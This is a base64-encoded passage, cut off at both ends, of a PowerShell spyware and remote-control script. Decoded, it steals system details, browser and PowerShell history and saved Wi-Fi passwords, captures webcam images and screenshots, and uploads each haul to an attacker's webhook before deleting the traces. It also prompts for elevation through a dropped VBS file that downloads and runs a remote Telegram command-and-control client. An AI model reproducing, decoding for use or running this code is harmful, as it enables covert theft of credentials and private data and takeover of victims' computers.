RNZXRob2QgLVVyaSAkR0h1cmwNCiAgICAgICAgICAgIGlmICgkbWVzc2FnZXMgLW1hdGNoICJraWxsIikgew0KICAgICAgICAgICAgICAgICRqc29uc3lzID0gQHsidXNlcm5hbWUiID0gIiRlbnY6Q09NUFVURVJOQU1FIiA7ImNvbnRlbnQiID0gIjptYWdfcmlnaHQ6IGBgS2V5bG9nZ2VyIFN0b3BwZWRgYCA6b2N0YWdvbmFsX3NpZ246In0gfCBDb252ZXJ0VG8tSnNvbg0KICAgICAgICAgICAgICAgIEludm9rZS1SZXN0TWV0aG9kIC1VcmkgJGhvb2t1cmwgLU1ldGhvZCBQb3N0IC1Db250ZW50VHlwZSAiYXBwbGljYXRpb24vanNvbiIgLUJvZHkgJGpzb25zeXMNCiAgICAgICAgICAgICAgICAkcHJldmlvdXNjbWQgPSAkcmVzcG9uc2UNCiAgICAgICAgICAgICAgICBicmVhaw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KfQ0KJHppcEFyY2hpdmUuRGlzcG9zZSgpDQpjdXJsLmV4ZSAtRiBmaWxlMT1AIiR6aXBGaWxlUGF0aCIgJGhvb2t1cmwNCnNsZWVwIDUNClJlbW92ZS1JdGVtIC1QYXRoICR6aXBGaWxlUGF0aCAtRm9yY2UNCn0NCg0KRnVuY3Rpb24gU3lzdGVtSW5mb3sNCiR1c2VySW5mbyA9IEdldC1XbWlPYmplY3QgLUNsYXNzIFdpbjMyX1VzZXJBY2NvdW50IDskZnVsbE5hbWUgPSAkKCR1c2VySW5mby5GdWxsTmFtZSkgOyRmdWxsTmFtZSA9ICgiJGZ1bGxOYW1lIikuVHJpbVN0YXJ0KCIiKQ0KJGVtYWlsID0gR1BSRVNVTFQgLVogL1VTRVIgJEVudjp1c2VybmFtZSB8IFNlbGVjdC1TdHJpbmcgLVBhdHRlcm4gIihbYS16QS1aMC05X1wtXC5dKylAKFthLXpBLVowLTlfXC1cLl0rKVwuKFthLXpBLVpdezIsNX0pIiAtQWxsTWF0Y2hlcyA7JGVtYWlsID0gKCIkZW1haWwiKS5UcmltKCkNCiRzeXN0ZW1Mb2NhbGUgPSBHZXQtV2luU3lzdGVtTG9jYWxlOyRzeXN0ZW1MYW5ndWFnZSA9ICRzeXN0ZW1Mb2NhbGUuTmFtZQ0KJHVzZXJMYW5ndWFnZUxpc3QgPSBHZXQtV2luVXNlckxhbmd1YWdlTGlzdDska2V5Ym9hcmRMYXlvdXRJRCA9ICR1c2VyTGFuZ3VhZ2VMaXN0WzBdLklucHV0TWV0aG9kVGlwc1swXQ0KJGNvbXB1dGVyUHViSVA9KEludm9rZS1XZWJSZXF1ZXN0IGlwaW5mby5pby9pcCAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50DQokc3lzdGVtSW5mbyA9IEdldC1XbWlPYmplY3QgLUNsYXNzIFdpbjMyX09wZXJhdGluZ1N5c3RlbQ0KJHByb2Nlc3NvckluZm8gPSBHZXQtV21pT2JqZWN0IC1DbGFzcyBXaW4zMl9Qcm9jZXNzb3INCiRjb21wdXRlclN5c3RlbUluZm8gPSBHZXQtV21pT2JqZWN0IC1DbGFzcyBXaW4zMl9Db21wdXRlclN5c3RlbQ0KJHVzZXJJbmZvID0gR2V0LVdtaU9iamVjdCAtQ2xhc3MgV2luMzJfVXNlckFjY291bnQNCiR2aWRlb2NhcmRpbmZvID0gR2V0LVdtaU9iamVjdCBXaW4zMl9WaWRlb0NvbnRyb2xsZXINCiRIZGRpbmZvID0gR2V0LVdtaU9iamVjdCBXaW4zMl9Mb2dpY2FsRGlzayB8IHNlbGVjdCBEZXZpY2VJRCwgVm9sdW1lTmFtZSwgRmlsZVN5c3RlbSxAe05hbWU9IlNpemVfR0IiO0V4cHJlc3Npb249eyJ7MDpOMX0gR0IiIC1mICgkXy5TaXplIC8gMUdiKX19LCBAe05hbWU9IkZyZWVTcGFjZV9HQiI7RXhwcmVzc2lvbj17InswOk4xfSBHQiIgLWYgKCRfLkZyZWVTcGFjZSAvIDFHYil9fSwgQHtOYW1lPSJGcmVlU3BhY2VfcGVyY2VudCI7RXhwcmVzc2lvbj17InswOk4xfSUiIC1mICgoMTAwIC8gKCRfLlNpemUgLyAkXy5GcmVlU3BhY2UpKSl9fSB8IEZvcm1hdC1UYWJsZSBEZXZpY2VJRCwgVm9sdW1lTmFtZSxGaWxlU3lzdGVtLEB7IE5hbWU9IlNpemUgR0IiOyBFeHByZXNzaW9uPXskXy5TaXplX0dCfTsgYWxpZ249InJpZ2h0IjsgfSwgQHsgTmFtZT0iRnJlZVNwYWNlIEdCIjsgRXhwcmVzc2lvbj17JF8uRnJlZVNwYWNlX0dCfTsgYWxpZ249InJpZ2h0IjsgfSwgQHsgTmFtZT0iRnJlZVNwYWNlICUiOyBFeHByZXNzaW9uPXskXy5GcmVlU3BhY2VfcGVyY2VudH07IGFsaWduPSJyaWdodCI7IH0gOyRIZGRpbmZvPSgkSGRkaW5mb3wgT3V0LVN0cmluZykgOyRIZGRpbmZvID0gKCIkSGRkaW5mbyIpLlRyaW1FbmQoIiIpDQokUmFtSW5mbyA9IEdldC1XbWlPYmplY3QgV2luMzJfUGh5c2ljYWxNZW1vcnkgfCBNZWFzdXJlLU9iamVjdCAtUHJvcGVydHkgY2FwYWNpdHkgLVN1bSB8ICUgeyAiezA6TjF9IEdCIiAtZiAoJF8uc3VtIC8gMUdCKX0NCiR1c2VycyA9ICIkKCR1c2VySW5mby5OYW1lKSINCiR1c2VyU3RyaW5nID0gImBuRnVsbCBOYW1lIDogJCgkdXNlckluZm8uRnVsbE5hbWUpIg0KJE9TU3RyaW5nID0gIiQoJHN5c3RlbUluZm8uQ2FwdGlvbikgJCgkc3lzdGVtSW5mby5PU0FyY2hpdGVjdHVyZSkiDQokc3lzdGVtU3RyaW5nID0gIlByb2Nlc3NvciA6ICQoJHByb2Nlc3NvckluZm8uTmFtZSkiDQokc3lzdGVtU3RyaW5nICs9ICJgbk1lbW9yeSA6ICRSYW1JbmZvIg0KJHN5c3RlbVN0cmluZyArPSAiYG5HcHUgOiAkKCR2aWRlb2NhcmRpbmZvLk5hbWUpIg0KJHN5c3RlbVN0cmluZyArPSAiYG5TdG9yYWdlIDogJEhkZGluZm8iDQokQ09NRGV2aWNlcyA9IEdldC1XbWlvYmplY3QgV2luMzJfVVNCQ29udHJvbGxlckRldmljZSB8IEZvckVhY2gtT2JqZWN0e1tXbWldKCRfLkRlcGVuZGVudCl9IHwgU2VsZWN0LU9iamVjdCBOYW1lLCBEZXZpY2VJRCwgTWFudWZhY3R1cmVyIHwgU29ydC1PYmplY3QgLURlc2NlbmRpbmcgTmFtZSB8IEZvcm1hdC1UYWJsZQ0KJHByb2Nlc3M9R2V0LVdtaU9iamVjdCB3aW4zMl9wcm9jZXNzIHwgc2VsZWN0IEhhbmRsZSwgUHJvY2Vzc05hbWUsIEV4ZWN1dGFibGVQYXRoLCBDb21tYW5kTGluZQ0KJHNlcnZpY2U9R2V0LUNpbUluc3RhbmNlIC1DbGFzc05hbWUgV2luMzJfU2VydmljZSB8IHNlbGVjdCBTdGF0ZSxOYW1lLFN0YXJ0TmFtZSxQYXRoTmFtZSB8IFdoZXJlLU9iamVjdCB7JF8uU3RhdGUgLWxpa2UgJ1J1bm5pbmcnfQ0KJHNvZnR3YXJlPUdldC1JdGVtUHJvcGVydHkgSEtMTTpcU29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cVW5pbnN0YWxsXCogfCB3aGVyZSB7ICRfLkRpc3BsYXlOYW1lIC1ub3RsaWtlICRudWxsIH0gfCAgU2VsZWN0LU9iamVjdCBEaXNwbGF5TmFtZSwgRGlzcGxheVZlcnNpb24sIFB1Ymxpc2hlciwgSW5zdGFsbERhdGUgfCBTb3J0LU9iamVjdCBEaXNwbGF5TmFtZSB8IEZvcm1hdC1UYWJsZSAtQXV0b1NpemUNCiRkcml2ZXJzPUdldC1XbWlPYmplY3QgV2luMzJfUG5QU2lnbmVkRHJpdmVyfCB3aGVyZSB7ICRfLkRldmljZU5hbWUgLW5vdGxpa2UgJG51bGwgfSB8IHNlbGVjdCBEZXZpY2VOYW1lLCBGcmllbmRseU5hbWUsIERyaXZlclByb3ZpZGVyTmFtZSwgRHJpdmVyVmVyc2lvbg0KJFJlZ2V4ID0gJyhodHRwfGh0dHBzKTovLyhbXHctXStcLikrW1x3LV0rKC9bXHctIC4vPyUmPV0qKSo/JzskUGF0aCA9ICIkRW52OlVTRVJQUk9GSUxFXEFwcERhdGFcTG9jYWxcR29vZ2xlXENocm9tZVxVc2VyIERhdGFcRGVmYXVsdFxIaXN0b3J5Ig0KJFZhbHVlID0gR2V0LUNvbnRlbnQgLVBhdGggJFBhdGggfCBTZWxlY3QtU3RyaW5nIC1BbGxNYXRjaGVzICRyZWdleCB8JSB7KCRfLk1hdGNoZXMpLlZhbHVlfSB8U29ydCAtVW5pcXVlDQokVmFsdWUgfCBGb3JFYWNoLU9iamVjdCB7JEtleSA9ICRfO2lmICgkS2V5IC1tYXRjaCAkU2VhcmNoKXtOZXctT2JqZWN0IC1UeXBlTmFtZSBQU09iamVjdCAtUHJvcGVydHkgQHtVc2VyID0gJGVudjpVc2VyTmFtZTtCcm93c2VyID0gJ2Nocm9tZSc7RGF0YVR5cGUgPSAnaGlzdG9yeSc7RGF0YSA9ICRffX19DQokUmVnZXgyID0gJyhodHRwfGh0dHBzKTovLyhbXHctXStcLikrW1x3LV0rKC9bXHctIC4vPyUmPV0qKSo/JzskUGF0aGVkID0gIiRFbnY6VVNFUlBST0ZJTEVcQXBwRGF0YVxMb2NhbFxNaWNyb3NvZnQvRWRnZS9Vc2VyIERhdGEvRGVmYXVsdC9IaXN0b3J5Ig0KJFZhbHVlMiA9IEdldC1Db250ZW50IC1QYXRoICRQYXRoZWQgfCBTZWxlY3QtU3RyaW5nIC1BbGxNYXRjaGVzICRyZWdleDIgfCUgeygkXy5NYXRjaGVzKS5WYWx1ZX0gfFNvcnQgLVVuaXF1ZQ0KJFZhbHVlMiB8IEZvckVhY2gtT2JqZWN0IHskS2V5ID0gJF87aWYgKCRLZXkgLW1hdGNoICRTZWFyY2gpe05ldy1PYmplY3QgLVR5cGVOYW1lIFBTT2JqZWN0IC1Qcm9wZXJ0eSBAe1VzZXIgPSAkZW52OlVzZXJOYW1lO0Jyb3dzZXIgPSAnY2hyb21lJztEYXRhVHlwZSA9ICdoaXN0b3J5JztEYXRhID0gJF99fX0NCiRwc2hpc3QgPSAiJGVudjpVU0VSUFJPRklMRVxBcHBEYXRhXFJvYW1pbmdcTWljcm9zb2Z0XFdpbmRvd3NcUG93ZXJTaGVsbFxQU1JlYWRMaW5lXENvbnNvbGVIb3N0X2hpc3RvcnkudHh0IjskcHNoaXN0b3J5ID0gR2V0LUNvbnRlbnQgJHBzaGlzdCAtcmF3DQokb3V0cGF0aCA9ICIkZW52OnRlbXBcc3lzdGVtaW5mby50eHQiDQokb3V0c3NpZD0iIjskYT0wOyR3cz0obmV0c2ggd2xhbiBzaG93IHByb2ZpbGVzKSAtcmVwbGFjZSAiLio6XHMrIjtmb3JlYWNoKCRzIGluICR3cyl7DQppZigkYSAtZ3QgMSAtQW5kICRzIC1Ob3RNYXRjaCAiIHBvbGljeSAiIC1BbmQgJHMgLW5lICJVc2VyIHByb2ZpbGVzIiAtQW5kICRzIC1Ob3RNYXRjaCAiLS0tLS0iIC1BbmQgJHMgLU5vdE1hdGNoICI8Tm9uZT4iIC1BbmQgJHMubGVuZ3RoIC1ndCA1KXskc3NpZD0kcy5UcmltKCk7aWYoJHMgLU1hdGNoICI6Iil7JHNzaWQ9JHMuU3BsaXQoIjoiKVsxXS5UcmltKCl9DQokcHc9KG5ldHNoIHdsYW4gc2hvdyBwcm9maWxlcyBuYW1lPSRzc2lkIGtleT1jbGVhcik7JHBhc3M9Ik5vbmUiO2ZvcmVhY2goJHAgaW4gJHB3KXtpZigkcCAtTWF0Y2ggIktleSBDb250ZW50Iil7JHBhc3M9JHAuU3BsaXQoIjoiKVsxXS5UcmltKCk7JG91dHNzaWQrPSJTU0lEOiAkc3NpZCA6IFBhc3N3b3JkOiAkcGFzc2BuIn19fSRhKys7fQ0KDQokaW5mb21lc3NhZ2UgPSAiYGA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KDQpDdXJyZW50IFVzZXIgICAgOiAkZW52OlVTRVJOQU1FDQpFbWFpbCBBZGRyZXNzICAgOiAkZW1haWwNCkxhbmd1YWdlICAgICAgICA6ICRzeXN0ZW1MYW5ndWFnZQ0KS2V5Ym9hcmQgTGF5b3V0IDogJGtleWJvYXJkTGF5b3V0SUQNCk90aGVyIEFjY291bnRzICA6ICR1c2Vycw0KUHVibGljIElQICAgICAgIDogJGNvbXB1dGVyUHViSVANCkN1cnJlbnQgT1MgICAgICA6ICRPU1N0cmluZw0KSGFyZHdhcmUgSW5mbw0KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiRzeXN0ZW1TdHJpbmdgYCINCg0KIi0tLS0tLS0tLS0tLS0tLS0tLS0tLSBTWVNURU0gSU5GT1JNQVRJT04gZm9yICRlbnY6Q09NUFVURVJOQU1FIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tYG4iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSQ0KIkdlbmVyYWwgSW5mbyBgbiAkaW5mb21lc3NhZ2UiIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiTmV0d29yayBJbmZvIGBuIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tYG4kb3V0c3NpZCIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJVU0IgSW5mbyAgYG4gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQooJENPTURldmljZXN8IE91dC1TdHJpbmcpIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiYG4iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiU09GVFdBUkUgSU5GTyBgbiA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09IiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KIkluc3RhbGxlZCBTb2Z0d2FyZSBgbiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCigkc29mdHdhcmV8IE91dC1TdHJpbmcpIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiUHJvY2Vzc2VzICBgbiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCigkcHJvY2Vzc3wgT3V0LVN0cmluZykgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJTZXJ2aWNlcyBgbiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCigkc2VydmljZXwgT3V0LVN0cmluZykgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJEcml2ZXJzIGBuIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tYG4kZHJpdmVycyIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJgbiIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJISVNUT1JZIElORk8gYG4gPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSBgbiIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJCcm93c2VyIEhpc3RvcnkgICAgYG4gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQooJFZhbHVlfCBPdXQtU3RyaW5nKSB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KKCRWYWx1ZTJ8IE91dC1TdHJpbmcpIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiUG93ZXJzaGVsbCBIaXN0b3J5IGBuIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KKCRwc2hpc3Rvcnl8IE91dC1TdHJpbmcpIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoNCiRqc29uc3lzID0gQHsidXNlcm5hbWUiID0gIiRlbnY6Q09NUFVURVJOQU1FIiA7ImNvbnRlbnQiID0gIjpjb21wdXRlcjogYGBTeXN0ZW0gSW5mb3JtYXRpb24gZm9yICRlbnY6Q09NUFVURVJOQU1FYGAgOmNvbXB1dGVyOiJ9IHwgQ29udmVydFRvLUpzb24NCkludm9rZS1SZXN0TWV0aG9kIC1VcmkgJGhvb2t1cmwgLU1ldGhvZCBQb3N0IC1Db250ZW50VHlwZSAiYXBwbGljYXRpb24vanNvbiIgLUJvZHkgJGpzb25zeXMNCg0KU2xlZXAgMQ0KJGpzb25zeXMgPSBAeyJ1c2VybmFtZSIgPSAiJGVudjpDT01QVVRFUk5BTUUiIDsiY29udGVudCIgPSAiJGluZm9tZXNzYWdlIn0gfCBDb252ZXJ0VG8tSnNvbg0KSW52b2tlLVJlc3RNZXRob2QgLVVyaSAkaG9va3VybCAtTWV0aG9kIFBvc3QgLUNvbnRlbnRUeXBlICJhcHBsaWNhdGlvbi9qc29uIiAtQm9keSAkanNvbnN5cw0KDQpjdXJsLmV4ZSAtRiBmaWxlMT1AIiRvdXRwYXRoIiAkaG9va3VybA0KU2xlZXAgMQ0KUmVtb3ZlLUl0ZW0gLVBhdGggJG91dHBhdGggLWZvcmNlDQp9DQoNCkZ1bmN0aW9uIElzQWRtaW57DQpJZiAoIShbU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NQcmluY2lwYWxdW1NlY3VyaXR5LlByaW5jaXBhbC5XaW5kb3dzSWRlbnRpdHldOjpHZXRDdXJyZW50KCkpLklzSW5Sb2xlKFtTZWN1cml0eS5QcmluY2lwYWwuV2luZG93c0J1aWx0SW5Sb2xlXSdBZG1pbmlzdHJhdG9yJykpIHsNCiAgICAkanNvbnN5cyA9IEB7InVzZXJuYW1lIiA9ICIkZW52OkNPTVBVVEVSTkFNRSIgOyJjb250ZW50IiA9ICI6b2N0YWdvbmFsX3NpZ246IGBgTm90IEFkbWluIWBgIDpvY3RhZ29uYWxfc2lnbjoifSB8IENvbnZlcnRUby1Kc29uDQogICAgSW52b2tlLVJlc3RNZXRob2QgLVVyaSAkaG9va3VybCAtTWV0aG9kIFBvc3QgLUNvbnRlbnRUeXBlICJhcHBsaWNhdGlvbi9qc29uIiAtQm9keSAkanNvbnN5cw0KICAgIH0NCiAgICBlbHNlew0KICAgICRqc29uc3lzID0gQHsidXNlcm5hbWUiID0gIiRlbnY6Q09NUFVURVJOQU1FIiA7ImNvbnRlbnQiID0gIjp3aGl0ZV9jaGVja19tYXJrOiBgYFlvdSBhcmUgQWRtaW4hYGAgOndoaXRlX2NoZWNrX21hcms6In0gfCBDb252ZXJ0VG8tSnNvbg0KICAgIEludm9rZS1SZXN0TWV0aG9kIC1VcmkgJGhvb2t1cmwgLU1ldGhvZCBQb3N0IC1Db250ZW50VHlwZSAiYXBwbGljYXRpb24vanNvbiIgLUJvZHkgJGpzb25zeXMNCiAgICB9DQp9DQoNCkZ1bmN0aW9uIEF0dGVtcHRFbGV2YXRlew0KJHRvYmF0ID0gQCINClNldCBXc2hTaGVsbCA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KGAiV1NjcmlwdC5TaGVsbGAiKQ0KV1NjcmlwdC5TbGVlcCAyMDANCklmIE5vdCBXU2NyaXB0LkFyZ3VtZW50cy5OYW1lZC5FeGlzdHMoYCJlbGV2YXRlYCIpIFRoZW4NCiAgQ3JlYXRlT2JqZWN0KGAiU2hlbGwuQXBwbGljYXRpb25gIikuU2hlbGxFeGVjdXRlIFdTY3JpcHQuRnVsbE5hbWUgXw0KICAgICwgYCJgImAiYCIgJiBXU2NyaXB0LlNjcmlwdEZ1bGxOYW1lICYgYCJgImAiIC9lbGV2YXRlYCIsIGAiYCIsIGAicnVuYXNgIiwgMQ0KICBXU2NyaXB0LlF1aXQNCkVuZCBJZg0KV3NoU2hlbGwuUnVuIGAicG93ZXJzaGVsbC5leGUgLU5vbkkgLU5vUCAtRXAgQnlwYXNzIC1XIEggLUMgYCRob29rdXJsPSckaG9va3VybCc7YCRnaHVybD0nJGdodXJsJztgJGNjdXJsPSckY2N1cmwnOyBpcm0gaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2JlaWdld29ybS9Qb3NoR3JhbS1DMi9tYWluL1RlbGVncmFtLUMyLUNsaWVudC5wczEgfCBpZXhgIiwgMCwgVHJ1ZQ0KIkANCiRwdGggPSAiQzpcV2luZG93c1xUYXNrc1xzZXJ2aWNlLnZicyINCiR0b2JhdCB8IE91dC1GaWxlIC1GaWxlUGF0aCAkcHRoIC1Gb3JjZQ0KJiAkcHRoDQpTbGVlcCA3DQpybSAtUGF0aCAkcHRoDQokanNvbnN5cyA9IEB7InVzZXJuYW1lIiA9ICIkZW52OkNPTVBVVEVSTkFNRSIgOyJjb250ZW50IiA9ICI6d2hpdGVfY2hlY2tfbWFyazogYGBVQUMgUHJvbXB0IHNlbnQgdG8gdGhlIGN1cnJlbnQgdXNlci4uYGAgOndoaXRlX2NoZWNrX21hcms6In0gfCBDb252ZXJ0VG8tSnNvbg0KSW52b2tlLVJlc3RNZXRob2QgLVVyaSAkaG9va3VybCAtTWV0aG9kIFBvc3QgLUNvbnRlbnRUeXBlICJhcHBsaWNhdGlvbi9qc29uIiAtQm9keSAkanNvbnN5cw0KfQ0KDQpGdW5jdGlvbiBUYWtlUGljdHVyZSB7DQokb3V0cHV0Rm9sZGVyID0gIiRlbnY6VEVNUFw4elRsNDVQU0EiDQokb3V0cHV0RmlsZSA9ICIkZW52OlRFTVBcOHpUbDQ1UFNBXGNhcHR1cmVkX2ltYWdlLmpwZyINCiR0ZW1wRm9sZGVyID0gIiRlbnY6VEVNUFw4elRsNDVQU0FcZmZtcGVnIg0KaWYgKC1ub3QgKFRlc3QtUGF0aCAtUGF0aCAkb3V0cHV0Rm9sZGVyKSkgew0KICAgIE5ldy1JdGVtIC1JdGVtVHlwZSBEaXJlY3RvcnkgLVBhdGggJG91dHB1dEZvbGRlciB8IE91dC1OdWxsDQp9DQppZiAoLW5vdCAoVGVzdC1QYXRoIC1QYXRoICR0ZW1wRm9sZGVyKSkgew0KICAgIE5ldy1JdGVtIC1JdGVtVHlwZSBEaXJlY3RvcnkgLVBhdGggJHRlbXBGb2xkZXIgfCBPdXQtTnVsbA0KfQ0KJGZmbXBlZ0Rvd25sb2FkID0gImh0dHBzOi8vd3d3Lmd5YW4uZGV2L2ZmbXBlZy9idWlsZHMvZmZtcGVnLXJlbGVhc2UtZXNzZW50aWFscy56aXAiDQokZmZtcGVnWmlwID0gIiR0ZW1wRm9sZGVyXGZmbXBlZy1yZWxlYXNlLWVzc2VudGlhbHMuemlwIg0KaWYgKC1ub3QgKFRlc3QtUGF0aCAtUGF0aCAkZmZtcGVnWmlwKSkgew0KICAgIElgd3IgLVVyaSAkZmZtcGVnRG93bmxvYWQgLU91dEZpbGUgJGZmbXBlZ1ppcA0KfQ0KRXhwYW5kLUFyY2hpdmUgLVBhdGggJGZmbXBlZ1ppcCAtRGVzdGluYXRpb25QYXRoICR0ZW1wRm9sZGVyIC1Gb3JjZQ0KJHZpZGVvRGV2aWNlID0gJG51bGwNCiR2aWRlb0RldmljZSA9IEdldC1DaW1JbnN0YW5jZSBXaW4zMl9QblBFbnRpdHkgfCBXaGVyZS1PYmplY3QgeyAkXy5QTlBDbGFzcyAtZXEgJ0ltYWdlJyB9IHwgU2VsZWN0LU9iamVjdCAtRmlyc3QgMQ0KaWYgKC1ub3QgJHZpZGVvRGV2aWNlKSB7DQogICAgJHZpZGVvRGV2aWNlID0gR2V0LUNpbUluc3RhbmNlIFdpbjMyX1BuUEVudGl0eSB8IFdoZXJlLU9iamVjdCB7ICRfLlBOUENsYXNzIC1lcSAnQ2FtZXJhJyB9IHwgU2VsZWN0LU9iamVjdCAtRmlyc3QgMQ0KfQ0KaWYgKC1ub3QgJHZpZGVvRGV2aWNlKSB7DQogICAgJHZpZGVvRGV2aWNlID0gR2V0LUNpbUluc3RhbmNlIFdpbjMyX1BuUEVudGl0eSB8IFdoZXJlLU9iamVjdCB7ICRfLlBOUENsYXNzIC1lcSAnTWVkaWEnIH0gfCBTZWxlY3QtT2JqZWN0IC1GaXJzdCAxDQp9DQppZiAoJHZpZGVvRGV2aWNlKSB7DQogICAgJHZpZGVvSW5wdXQgPSAkdmlkZW9EZXZpY2UuTmFtZQ0KICAgICRmZm1wZWdWZXJzaW9uID0gR2V0LUNoaWxkSXRlbSAtUGF0aCAkdGVtcEZvbGRlciAtRmlsdGVyICJmZm1wZWctKi1lc3NlbnRpYWxzX2J1aWxkIiB8IFNlbGVjdC1PYmplY3QgLUV4cGFuZFByb3BlcnR5IE5hbWUNCiAgICAkZmZtcGVnVmVyc2lvbiA9ICRmZm1wZWdWZXJzaW9uIC1yZXBsYWNlICdmZm1wZWctKFxkK1wuXGQrKS0uKicsICckMScNCiAgICAkZmZtcGVnUGF0aCA9IEpvaW4tUGF0aCAtUGF0aCAkdGVtcEZvbGRlciAtQ2hpbGRQYXRoICgiZmZtcGVnLXswfS1lc3NlbnRpYWxzX2J1aWxkXGJpblxmZm1wZWcuZXhlIiAtZiAkZmZtcGVnVmVyc2lvbikNCiAgICAmICRmZm1wZWdQYXRoIC1mIGRzaG93IC1pIHZpZGVvPSIkdmlkZW9JbnB1dCIgLWZyYW1lczp2IDEgJG91dHB1dEZpbGUgLXkNCn0gZWxzZSB7DQp9DQogICAgY3VybC5leGUgLUYgImZpbGUxPUAkb3V0cHV0RmlsZSIgJGhvb2t1cmwNCiAgICBzbGVlcCAxDQogICAgUmVtb3ZlLUl0ZW0gLVBhdGggJG91dHB1dEZpbGUgLUZvcmNlDQp9DQoNCkZ1bmN0aW9uIFNjcmVlblNob3Qgew0KJEZpbGV0dCA9ICIkZW52OnRlbXBcU0MucG5nIg0KQWRkLVR5cGUgLUFzc2VtYmx5TmFtZSBTeXN0ZW0uV2luZG93cy5Gb3Jtcw0KQWRkLXR5cGUgLUFzc2VtYmx5TmFtZSBTeXN0ZW0uRHJhd2luZw0KJFNjcmVlbiA9IFtTeXN0ZW0uV2luZG93cy5Gb3Jtcy5TeXN0ZW1JbmZvcm1hdGlvbl06OlZpcnR1YWxTY3JlZW4NCiRXaWR0aCA9ICRTY3JlZW4uV2lkdGgNCiRIZWlnaHQgPSAkU2NyZWVuLkhlaWdodA0KJExlZnQgPSAkU2NyZWVuLkxl